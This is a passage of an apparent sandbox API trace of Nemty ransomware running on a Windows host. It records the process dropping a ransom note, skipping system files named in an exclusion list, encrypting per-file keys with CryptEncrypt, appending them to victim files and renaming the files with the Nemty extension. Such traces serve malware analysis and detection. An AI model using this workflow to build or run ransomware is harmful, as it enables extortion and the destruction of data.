RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0176.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0176.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0176.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0176.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.381] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.381] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.381] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0176.382] CloseHandle (hObject=0x2e8) returned 1 [0176.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0176.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0176.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.382] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1cc5be70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1cc5be70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0176.383] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0176.383] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1cc5be70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1cc5be70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.383] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0176.383] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0176.383] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9251, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0176.383] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0176.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0176.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0176.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0176.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0176.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0176.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0176.384] Sleep (dwMilliseconds=0x5) [0176.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1cc81fd0, dwHighDateTime=0x1d561e8)) [0176.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1cc81fd0, dwHighDateTime=0x1d561e8)) [0176.387] GetLastError () returned 0xb7 [0176.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.387] GetLastError () returned 0xb7 [0176.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.387] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0176.387] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0176.387] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0176.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0176.387] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="cv/HBnK/65/VLfJRQL/b76uu5qf2tGuBwsP6nXelRqX3aZ0sAS+p/2NSqX9BlOB8\r\ncNByOBzvFWwKn+KrGyMIWa+ws4CAc26VzU3D3sMoQd93lFkc118hsOCVWsvnwoGQ\r\nTNcJYVcgPjxnQFJYGcGaHRUeFwYrJXVr55zIqWhfj+1rGSEw8HDYzxsR4Ixskyti\r\npmje/n2VajyGv1o7dR2sY1br9TKHvC/5VlMaNCRiJzkywYgRMFghVlFEhIHzcDbo\r\nODWHaPTnc7P/L+tBN4dyUlDU7IQh0v5Dq3f/HbJCr7UX+NXz9E9S7C+n0vI3sxac\r\n0v9gwbWMqVHOk/l/iL1gVg==\r\n", pcchString=0x653e29c) returned 1 [0176.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0176.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0176.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.388] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0176.388] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=37457) returned 1 [0176.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9250) returned 0x6352c48 [0176.388] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.388] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9250, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x9250, lpOverlapped=0x0) returned 1 [0176.392] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.392] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x9250, lpOverlapped=0x0) returned 1 [0176.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.393] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=37457, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9251 [0176.393] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0176.393] CloseHandle (hObject=0x2f0) returned 1 [0176.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0176.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0176.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0176.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0176.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.393] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0176.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0176.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0176.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0176.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.394] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0176.394] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0176.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0176.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0176.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0176.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0176.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0176.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0176.395] Sleep (dwMilliseconds=0x5) [0176.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1cca8130, dwHighDateTime=0x1d561e8)) [0176.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1cca8130, dwHighDateTime=0x1d561e8)) [0176.403] GetLastError () returned 0x0 [0176.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.403] GetLastError () returned 0x0 [0176.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.403] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0176.403] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0176.403] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0176.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0176.403] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="pGIgrhOLO0jY6Yp+TPqYRSnHFLwbzpRC1GUsQzf5mfoq2NROqv5xnyEf0s+a3wwR\r\nGh/CS8XA86rTPTclYJPWupo9CHjJqmA9BfvPhk4T5nUe7Fx6/8UGr4dQlNtAjXBa\r\ntSiZLIXbVlJOtKY4JtzSkS0UHzgMzAS3eTYbptioDljeyj2P/KD+VLvQ79+MdZL+\r\nQLzUYDPRzXlvoMQsImkNBlsIiZPyKZU16rHj1pVgobkgAkTETMLAGBs3Ouu1csDg\r\nLKKDkkS/1CqYZv3eI2axiwADYGkVo0rgCRd6bnx6YRl5vw27G3xhqa+m1iIbky/p\r\nv0JDRxALOVi6SHEjQ5K3bA==\r\n", pcchString=0x653e29c) returned 1 [0176.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0176.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 